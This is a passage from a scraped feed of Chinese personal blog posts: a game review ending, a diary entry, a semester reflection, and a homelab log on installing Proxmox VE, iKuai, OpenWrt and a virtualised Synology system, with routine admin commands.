拳脱锁,大拳好躲但重新锁定很费神,这段时间在视线外再接个斩刀就会掉大半血。)。\u003cbr/\u003e\n我目前还卡在虎先锋,猴头下酒几十次(\u003cstrong\u003e菜,就多练\u003c/strong\u003e)。\u003c/p\u003e\n\u003ch2\u003e评价\u003c/h2\u003e\n\u003cp\u003e这是一部\u003cstrong\u003e有瑕之作\u003c/strong\u003e,但仅就我已经体验过的内容它真的值得90+的分数,不算各种文化、情怀加成。\u003cbr/\u003e\n我愿意给它\u003cstrong\u003e100分\u003c/strong\u003e,因为这是独属于中华民族的骄傲和浪漫。外国人一玩就明白了,玩不明白就去学。\u003cbr/\u003e\n我相信,\u003cstrong\u003e越是民族的,越是世界的。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e相信游科已经给各位天命人和自己交出了一份满意的答卷——《黑神话:悟空》并不完美,但它称得上是中国第一部3A,也对得起这4年的期待。\u003c/p\u003e\n\u003cp\u003e只管往前走吧,走上取经路,比抵达灵山更重要。\u003c/p\u003e\n","url":"https://guzhengsvt.top/index.php/archives/WuKong.html"},{"title":"日寄其一","time":"2024-08-03T16:02:00Z","content":"上次更新是一个月前,倒不是多忙(虽然确实有忙的时候)。只是身不由己,世事难料,无心码字。路千里,朔风吹客衣考完期末不久就赶到同济医院照顾我妈,一如小学五年级她赶来照顾我一样。同济住院部 2 号楼...\u003chr /\u003e\u003cp\u003e上次更新是一个月前,倒不是多忙(虽然确实有忙的时候)。只是身不由己,世事难料,无心码字。\u003c/p\u003e\n\u003ch2\u003e路千里,朔风吹客衣\u003c/h2\u003e\n\u003cp\u003e考完期末不久就赶到同济医院照顾我妈,一如小学五年级她赶来照顾我一样。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/3979775032.jpg\" alt=\"IMG_0162.JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n同济住院部 2 号楼拍的,楼顶很晒风很大,晒衣服得用绳子绑紧。\u003cbr/\u003e\n出院后在家呆了十几天,什么也没做就是每天上潮和逆转裁判混日子。\u003cbr/\u003e\n在家吃吃喝喝,拿西瓜榨汁冰起来好喝极了,香蕉加牛奶也不错。\u003c/p\u003e\n\u003ch2\u003e长安去,辞家三千里\u003c/h2\u003e\n\u003cp\u003e等到她能照顾自己了,我又乘上去长安的车。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/4064831348.jpg\" alt=\"IMG_0330.JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n我是一个不恋家的人,向往着走南闯北,没心思回头看。他们老了,跟不上我了。我爸会像所有父母要离开家的小孩子一样发发脾气,我妈只是远远地看着。\u003cbr/\u003e\n他们的儿子有自己的生活,嘴里说着新鲜的听不懂的话,越发懂事却越发陌生。你我是否会怀念,那些哭闹着要吃饺子要买遥控车的日子。那时他们还年轻,我也是。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e去留两无意,停云杯难息。\u003cbr/\u003e\n落日孤城闭,燕然归无计。\u003cbr/\u003e\n惟有此曲能解断肠情。\u003cbr/\u003e\n\\ ——《长安忆》\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2\u003e此曲声成,自有身后名\u003c/h2\u003e\n\u003cp\u003e学校的研究生公寓又建好了,综合楼关门了许些店(最意难平是蜜雪冰城)。\u003c/p\u003e\n\u003cp\u003e来的路上买了教员和五位导师的画像,贴一张年轻教员在衣柜门上,时时自勉(虽未曾有用,笑)。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/3618386613.jpg\" alt=\"IMG_0405.JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n二次元+红色,我也是神人了。左边是幻想,右边是梦想,脚下是事业。\u003c/p\u003e\n\u003cp\u003e略有惊喜的是联合国儿童基金会的证书戒指发来了。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/2489695285.jpg\" alt=\"IMG_0342 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n听同学说这算是国际奖项能加综测分(笑),这对我一个挂科的有什么用呢?\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e安得广厦千万间,\u003cbr/\u003e\n大辟天下寒士俱欢颜,\u003cbr/\u003e\n风雨不动安如山!\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e收到证书的时候正好是 7 月 28 日,\u003cstrong\u003e唐山大地震\u003c/strong\u003e 48 周年。\u003cbr/\u003e\n我有一个梦想,希望以后大家都能有坚实的房子住。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/1524464415.jpg\" alt=\"不会崩塌的大厦.jpg\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e西安夏天和家里一样热,甚至更闷热,动辄一身汗。\u003cbr/\u003e\n四天三夜电赛通宵一次,好在已经习惯了。\u003cbr/\u003e\nF 题做个磁悬浮玩具,底座不让用磁铁,最后还是靠功率堆上去的,八个小线圈一个大线圈,大线圈手绕了好几个,也是尽力了。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/4263497725.jpg\" alt=\"IMG_0386 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n最后测评能浮 1.5 cm,砍下 35 分。\u003cbr/\u003e\n我很满意,虽然结果还没出来但已经开起了香槟。\u003cbr/\u003e\n守银摄金(指稳住省二冲刺省一)\u003cbr/\u003e\n也算是给自己一个交代。\u003c/p\u003e\n\u003ch2\u003e年华落丹青,一片碧空洗\u003c/h2\u003e\n\u003cp\u003e今天评测完在 EII-210 蹭空调(该死的寝室维修设备停电了),上潮刷视频混到六点。\u003cbr/\u003e\n闲来无事逛电商,嘴馋买许多零食,想着若是味美质佳或可送与家人朋友尝尝。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/2871930292.png\" alt=\"IMG_0403 (1).PNG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/3701669522.png\" alt=\"IMG_0404.PNG\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e回来又没干什么,战地一启动到 23 点。毁了,孩子。\u003cbr/\u003e\n蹉跎得差不多了,一个月前还说要出电磁场与电磁波的笔记来着,现在进度无限接近 0。\u003cbr/\u003e\n从明天开始好好学习,步入正轨。\u003cbr/\u003e\n哦不,是今天,这就过了 12 点了(o (\u003cem\u003e ̄▽ ̄\u003c/em\u003e)ブ)\u003cbr/\u003e\n希望在黑神话出来前做些实事。\u003c/p\u003e\n\u003cp\u003e码字的时候回想起家里冰镇鲜榨西瓜汁的滋味,饿了。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e我本四海欣然往,长安无此好味尝。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e夜色已浓,言简意深。\u003cbr/\u003e\n惟有此曲能忘人间景。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/3364523607.png\" alt=\"fuguang.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e晚安\u003c/p\u003e\n","url":"https://guzhengsvt.top/index.php/archives/diary1.html"},{"title":"大二下学期总结","time":"2024-06-26T17:14:00Z","content":"前情提要:概率论上午考记成下午了,一觉睡到十一点,醒来美滋滋点一份宫保鸡丁饭。淡淡地死了……大约的确是结束了吧,大二也好保研也好。故事的结局往往以意外结尾,似乎只有意料之外才能令演员和观众都印象...\u003chr /\u003e\u003cp\u003e\u003cstrong\u003e前情提要:\u003c/strong\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e概率论上午考记成下午了,一觉睡到十一点,醒来美滋滋点一份宫保鸡丁饭。\u003cbr/\u003e\n淡淡地死了……\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e大约的确是结束了吧,大二也好保研也好。故事的结局往往以意外结尾,似乎只有意料之外才能令演员和观众都印象深刻。\u003cbr/\u003e\n来钱班一年,确实经历了更多的考验,每次赶早八看到室友在睡觉,晚上下实验看到室友打游戏,我恨得牙痒痒。\u003cbr/\u003e\n值得吗?\u003cbr/\u003e\n我毫无悔意。\u003cbr/\u003e\n尽管对学弟的说辞总是实打实的劝退,本人并不后悔来钱班。为了更接近航空航天,我果断从机电院润到钱班,填申请表的那一刻,就预料到了课多事多学习卷,分少钱少保研难。知乎上一届的劝退贴没把我劝住,一如我劝不住23级的学弟一样。\u003cbr/\u003e\n在远离市中心的长安校区,白天千米厚的纯棉白云和夜晚无数滴星总是比“竞赛”、“保研”这些字眼更加迷人。不用为学分和保研焦虑后,人倒是舒爽不少。\u003cbr/\u003e\n倒也没什么可难受的,与在一穷二白的新中国建立起航空工业相比,考研连挫折都算不上。无非是道路曲折些,走便是了。\u003cbr/\u003e\n好在本学期的课程我大部分都已掌握,概率论未考尚无根底,疏漏之处交由实践去弥补。学问到手,不算白活半年。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“未选择的路永远更诱人,但是我相信过去的自己选择的路永远最正确。”\u003cbr/\u003e\n“学校是教书育人的地方,不应该是争分数的地方。大学何以为‘大’?大学问,大智慧,大境界。”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e一年前写下的文字,时时自勉自省。切莫舍本逐末,被世俗表象迷了眼。往哪里走?走近航空航天,走进人民群众,走向共产主义。\u003cbr/\u003e\n\u003cstrong\u003e踏平坎坷成大道,斗罢艰险又出发。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e虽然总是怀疑是因为熬夜肝概率论笔记让我昏了头,但是以后笔记还是会发的。同届同学未必用得上,倒是可以遗泽后人,算是为知识传播和文化共产做一点贡献。\u003c/p\u003e\n","url":"https://guzhengsvt.top/index.php/archives/Summary-of-the-second-semester-of-the-sophomore-year.html"}]},{"name":"Hanwan Space","email":"Unknown","uri":"https://hawa130.com/","description":"We are here to put a dent in the universe.","article":[{"title":"All in One 折腾记录","time":"2022-09-24T11:25:00Z","content":"最近入手了万由的 NAS 机箱以及 J4125 板子,这里记录一下我的 All in One All in Boom 的折腾历程。注意这篇并文章非教程,只是个记录罢了。PVEPVE 是一个虚拟机...\u003chr /\u003e\n\u003cp\u003e最近入手了万由的 NAS 机箱以及 J4125 板子,这里记录一下我的 All in One \u003cdel\u003eAll in Boom\u003c/del\u003e 的折腾历程。注意这篇并文章非教程,只是个记录罢了。\u003c/p\u003e\u003ch2 id=\"toc_0\"\u003ePVE\u003c/h2\u003e\u003cp\u003ePVE 是一个虚拟机平台。\u003c/p\u003e\u003col\u003e\u003cli\u003e下载 PVE \u003ca href=\"https://www.balena.io/etcher/\"\u003ehttps://www.balena.io/etcher/\u003c/a\u003e。\u003c/li\u003e\u003cli\u003e使用 balenaEtcher 将镜像写入空 U 盘。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"image-20220918155906488\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918155906488.png#vwid=802\u0026vhei=507\" src=\"https://upload.hawa130.com/2022/09/image-20220918155906488.png#vwid=802\u0026vhei=507\"\u003e\u003cfigcaption\u003eimage-20220918155906488\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003eBIOS 设置 U 盘启动,一路下一步。(不过不适配 4k 显示器太折磨了)\u003c/li\u003e\u003cli\u003e最后自动重启,显示器上就会显示管理地址了,可以通过该地址进入管理页面,终于摆脱显示器的束缚了。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"image-20220918164504498\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918164504498.png#vwid=2880\u0026vhei=1624\" src=\"https://upload.hawa130.com/2022/09/image-20220918164504498.png#vwid=2880\u0026vhei=1624\"\u003e\u003cfigcaption\u003eimage-20220918164504498\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e这里码一下万由主板风扇控制命令。\u003ccode\u003ei2cset -y 0 0x54 0xF0 \u0026lt;等级\u0026gt;\u003c/code\u003e,等级范围为 0~255。\u003c/p\u003e\u003ch2 id=\"toc_1\"\u003e网卡等硬件直通\u003c/h2\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e编辑 GRUB 配置。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-sh\"\u003enano /etc/default/grub\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"GRUB 配置\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918175151525.png#vwid=1242\u0026vhei=212\" src=\"https://upload.hawa130.com/2022/09/image-20220918175151525.png#vwid=1242\u0026vhei=212\"\u003e\u003cfigcaption\u003eGRUB 配置\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e修改 DEFAULT 行,开启 iommu。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eGRUB_CMDLINE_LINUX_DEFAULT=\u0026quot;quiet intel_iommu=on\u0026quot;\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"DEFAULT 行\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918175802436.png#vwid=926\u0026vhei=60\" src=\"https://upload.hawa130.com/2022/09/image-20220918175802436.png#vwid=926\u0026vhei=60\"\u003e\u003cfigcaption\u003eDEFAULT 行\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e更新 GRUB 配置。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-sh\"\u003eupdate-grub\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e加载内核模块。编辑 \u003ccode\u003e/etc/modules\u003c/code\u003e,添加下面的内容。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003evfio\nvfio_iommu_type1\nvfio_pci\nvfio_virqfd\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"vifo 设置\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918180521513.png#vwid=562\u0026vhei=222\" src=\"https://upload.hawa130.com/2022/09/image-20220918180521513.png#vwid=562\u0026vhei=222\"\u003e\u003cfigcaption\u003evifo 设置\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e更新内核模块配置。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-sh\"\u003eupdate-initramfs -k all -u\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e重启主机,之后验证直通是否开启成功。输出如下。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003edmesg | grep 'remapping'\u003c/code\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e[ 0.195252] DMAR-IR: Queued invalidation will be enabled to support x2apic and Intr-remapping.\n[ 0.197281] DMAR-IR: Enabled IRQ remapping in x2apic mode\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003efind /sys/kernel/iommu_groups/ -type l\u003c/code\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e/sys/kernel/iommu_groups/7/devices/0000:00:13.3\n/sys/kernel/iommu_groups/5/devices/0000:00:13.0\n/sys/kernel/iommu_groups/13/devices/0000:02:00.0\n/sys/kernel/iommu_groups/3/devices/0000:00:0f.0\n/sys/kernel/iommu_groups/11/devices/0000:00:1f.0\n/sys/kernel/iommu_groups/11/devices/0000:00:1f.1\n/sys/kernel/iommu_groups/1/devices/0000:00:02.0\n/sys/kernel/iommu_groups/8/devices/0000:00:14.0\n/sys/kernel/iommu_groups/6/devices/0000:00:13.2\n/sys/kernel/iommu_groups/14/devices/0000:03:00.0\n/sys/kernel/iommu_groups/4/devices/0000:00:12.0\n/sys/kernel/iommu_groups/12/devices/0000:01:00.0\n/sys/kernel/iommu_groups/2/devices/0000:00:0e.0\n/sys/kernel/iommu_groups/10/devices/0000:00:1c.0\n/sys/kernel/iommu_groups/0/devices/0000:00:00.0\n/sys/kernel/iommu_groups/9/devices/0000:00:15.0\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_2\"\u003eRTL8125B 网卡驱动\u003c/h2\u003e\u003cp\u003e没错,这 PVE 7 自带的网卡驱动非常寄,还是自己手动安装一个为妙。\u003c/p\u003e\u003cp\u003e前置准备:修改软件源为清华源。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e安装 Linux Kernel Headers\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003euname -r #-\u0026gt; 5.13.19-2-pve,查看版本,安装对应内核版本\napt install pve-headers-5.13.19-2-pve\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e安装 dkms\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003eapt install dkms\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e\u003cdel\u003e伸手党\u003c/del\u003e下载别人编译好的驱动包 \u003ca href=\"https://www.right.com.cn/FORUM/thread-7446026-1-1.html\"\u003ehttps://www.right.com.cn/FORUM/thread-7446026-1-1.html\u003c/a\u003e,然后 \u003ccode\u003edpkg -i $文件名\u003c/code\u003e 安装即可\u003c/li\u003e\u003cli\u003e屏蔽自带 r8169 驱动。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e编辑 \u003ccode\u003e/etc/modprobe.d/PVE-blacklist.conf\u003c/code\u003e,插入一行 \u003ccode\u003eblacklist r8169\u003c/code\u003e。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e应用内核模块修改,其中 \u003ccode\u003e-k\u003c/code\u003e 后面的 \u003ccode\u003e5.13.19-2-pve\u003c/code\u003e 对应 \u003ccode\u003euname -r\u003c/code\u003e 的内容,支持 Tab 补全。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-sh\"\u003eupdate-initramfs -u -k 5.13.19-2-pve\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e重启系统,如果想要验证的话,可以用 \u003ccode\u003eethtool -i \u0026lt;网卡\u0026gt; \u003c/code\u003e 查看,网卡为 \u003ccode\u003eifconfig\u003c/code\u003e 显示的编号,比如 \u003ccode\u003eenp2s0\u003c/code\u003e。\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_3\"\u003eiKuai\u003c/h2\u003e\u003col\u003e\u003cli\u003e官网下载 \u003ca href=\"https://www.ikuai8.com/component/download\"\u003ehttps://www.ikuai8.com/component/download\u003c/a\u003e\u003c/li\u003e\u003cli\u003e上传镜像\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"上传 ISO 镜像\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918171219385.png#vwid=1520\u0026vhei=430\" src=\"https://upload.hawa130.com/2022/09/image-20220918171219385.png#vwid=1520\u0026vhei=430\"\u003e\u003cfigcaption\u003e上传 ISO 镜像\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e创建虚拟机\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918171252540.png#vwid=1482\u0026vhei=1052\" src=\"https://upload.hawa130.com/2022/09/image-20220918171252540.png#vwid=1482\u0026vhei=1052\"\u003e\u003c/figure\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e分配硬盘\u003c/p\u003e\u003cul\u003e\u003cli\u003e官方建议配置是 \u0026gt; 1GB,我分配 4GB 算是绰绰有余了。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"硬盘分配\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918172146458.png#vwid=1424\u0026vhei=552\" src=\"https://upload.hawa130.com/2022/09/image-20220918172146458.png#vwid=1424\u0026vhei=552\"\u003e\u003cfigcaption\u003e硬盘分配\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e分配 CPU\u003c/p\u003e\u003cul\u003e\u003cli\u003e不够了以后再调整,先分配个双核。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e分配内存\u003c/p\u003e\u003cul\u003e\u003cli\u003e官方建议内存 \u0026gt; 4GB,不过听说实际用不到这么多,先按最低标准分配 4GB 吧。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"内存分配\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918172511835.png#vwid=866\u0026vhei=168\" src=\"https://upload.hawa130.com/2022/09/image-20220918172511835.png#vwid=866\u0026vhei=168\"\u003e\u003cfigcaption\u003e内存分配\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e配置网络\u003c/p\u003e\u003cul\u003e\u003cli\u003e作为拨号用的主系统,需要直通一个网卡,不然会卡卡卡卡死,所以安装好后需要进行 PCI 设备直通。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e添加 PCI 设备——网卡,勾选「所有功能」。(02:00.0 一般是管理口,直通的话,PVE 管理界面就进不去了,不要问我怎么知道的)\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"直通网卡\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918190825780.png#vwid=1390\u0026vhei=498\" src=\"https://upload.hawa130.com/2022/09/image-20220918190825780.png#vwid=1390\u0026vhei=498\"\u003e\u003cfigcaption\u003e直通网卡\u003c/figcaption\u003e\u003c/figure\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e启动虚拟机安装 iKuai 吧。\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"iKuai\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918191113236.png#vwid=5118\u0026vhei=2178\" src=\"https://upload.hawa130.com/2022/09/image-20220918191113236.png#vwid=5118\u0026vhei=2178\"\u003e\u003cfigcaption\u003eiKuai\u003c/figcaption\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003eiKuai 安装好之后,记得启动 DHCP 服务器。「网络设置」→「DHCP 设置」→「DHCP 服务端」,添加 DHCP 地址池并启用即可。\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_4\"\u003eOpenWrt\u003c/h2\u003e\u003col\u003e\u003cli\u003e新建一个空虚拟机,操作系统不使用任何介质,系统机型选择 Q35,其他的按需分配,注意硬盘过会也要删掉,所以随意设置大小吧。\u003c/li\u003e\u003cli\u003e硬件菜单,选择硬盘,分离并删除(把虚拟硬盘扬了。\u003c/li\u003e\u003cli\u003e把 OpenWrt 镜像上传到 PVE。通过 \u003ccode\u003escp\u003c/code\u003e 传输比较方便,FTP 也可以。\u003c/li\u003e\u003cli\u003e将镜像导入到虚拟机中。\u003ccode\u003eqm importdisk \u0026lt;虚拟机ID\u0026gt; \u0026lt;镜像文件\u0026gt; local-lvm\u003c/code\u003e,导入后 Web 界面就能看到这个「未使用的磁盘」了。\u003c/li\u003e\u003cli\u003e双击,添加这个「未使用的磁盘」。\u003c/li\u003e\u003cli\u003e选项里面,修改「引导顺序」,把刚才添加的硬盘挪到第一位,接下来启动虚拟机吧。\u003c/li\u003e\u003cli\u003e可以编辑 \u003ccode\u003e/etc/config/network\u003c/code\u003e 修改 OpenWrt 的 IP 地址,通过该地址访问管理界面。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e既然装好了 OpenWrt 就随便折腾吧,注意需要设置 LAN 接口的网关为 iKuai 的 IP 地址,并关闭 DHCP 分配(忽略此接口)。\u003c/p\u003e\u003ch2 id=\"toc_5\"\u003e黑群晖\u003c/h2\u003e\u003cp\u003e压轴大戏!需要直通核显和硬盘,还是比较麻烦的。\u003c/p\u003e\u003ch3 id=\"toc_6\"\u003e核显直通\u003c/h3\u003e\u003cp\u003e以上面的硬件直通已经做了为前提。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e依然是编辑 GRUB 配置的那行。\u003ccode\u003enano /etc/default/grub\u003c/code\u003e,编辑完成后更新引导 \u003ccode\u003eupdate-grub\u003c/code\u003e。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eGRUB_CMDLINE_LINUX_DEFAULT=\u0026quot;quiet intel_iommu=on iommu=pt video=efifb:off\u0026quot;\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e查看核显的硬件 ID。\u003ccode\u003elspci -nn\u003c/code\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e00:02.0 VGA compatible controller [0300]: Intel Corporation GeminiLake [UHD Graphics 600] [8086:3185] (rev 06)\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e即 \u003ccode\u003e8086:3185\u003c/code\u003e。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e添加 vifo 配置。\u003ccode\u003enano /etc/modprobe.d/vfio.conf\u003c/code\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eoptions vfio-pci ids=8086:3185\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e屏蔽驱动。\u003ccode\u003enano /etc/modprobe.d/blacklist.conf\u003c/code\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eblacklist snd_hda_intel\nblacklist snd_hda_codec_hdmi\nblacklist i915\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e更新配置。\u003ccode\u003eupdate-initramfs -u\u003c/code\u003e\u003c/li\u003e\u003cli\u003e重启 PVE 系统。\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_7\"\u003e创建虚拟机\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e前提\u003c/strong\u003e:BIOS 的 CSM 设置 enable,video 设置为 Legacy。\u003c/p\u003e\u003cp\u003e创建一个空虚拟机,注意,\u003cstrong\u003e处理器类别选择「host」\u003c/strong\u003e。其他保持默认或按需选择即可。\u003c/p\u003e\u003cp\u003e由于黑群有各种各样不同的体质,完全按照此步骤来安装不成功也是正常现象。\u003c/p\u003e\u003cp\u003e黑群的关键在于引导,DSM 系统可以用原厂的,从群晖官网下载即可,注意引导要支持这个版本的系统才行。有核显的机器建议选择 DS918+ 的系统。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://wp.gxnas.com/11849.html\"\u003e黑群引导索引\u003c/a\u003e(来自 GXNAS)\u003c/p\u003e\u003ch3 id=\"toc_8\"\u003e虚拟机直通\u003c/h3\u003e\u003ch4 id=\"toc_9\"\u003e核显直通\u003c/h4\u003e\u003cp\u003e在 Web 界面添加 PCI 设备核显。\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"核显直通\" data-src=\"https://upload.hawa130.com/2022/09/image-20220924180422650.png#vwid=1092\u0026vhei=184\" src=\"https://upload.hawa130.com/2022/09/image-20220924180422650.png#vwid=1092\u0026vhei=184\"\u003e\u003cfigcaption\u003e核显直通\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003ch4 id=\"toc_10\"\u003eSATA 控制器直通\u003c/h4\u003e\u003cp\u003e在 Web 端添加 SATA 控制器 PCI 设备即可。\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"SATA 控制器直通\" data-src=\"https://upload.hawa130.com/2022/09/image-20220924180028844.png#vwid=1450\u0026vhei=354\" src=\"https://upload.hawa130.com/2022/09/image-20220924180028844.png#vwid=1450\u0026vhei=354\"\u003e\u003cfigcaption\u003eSATA 控制器直通\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003ch3 id=\"toc_11\"\u003e导入引导硬盘\u003c/h3\u003e\u003cp\u003e将引导镜像上传到 PVE 虚拟机上,执行命令导入虚拟硬盘,然后双击添加,注意选择 SATA 格式。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eqm importdisk \u0026lt;虚拟机ID\u0026gt; \u0026lt;引导镜像文件路径\u0026gt; local-lvm\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e在选项里面设置这个硬盘为第一启动项。导入完成后就能愉快地启动系统了,启动时选择 SATA 那一项(默认是 USB)。\u003c/p\u003e\u003cp\u003e如果不出意外的话,访问虚拟机的 IP 地址(如果不知道的话,可以去 iKuai 的 DHCP 客户端看看)的 5000 端口就可以进入安装界面了。\u003c/p\u003e\n","url":"https://hawa130.com/archives/838/"},{"title":"计组后半部分预习","time":"2022-06-23T13:08:24Z","content":"计组前半部分可看计组期中复习笔记。存储系统常用半导体存储器RAMSRAM (速度最快)DRAM → SDRAM → DDR SDRAM(DDR2、DDR3、DDR4、DDR5)ROM(虽然叫 R...\u003chr /\u003e\n\u003cp\u003e计组前半部分可看\u003ca 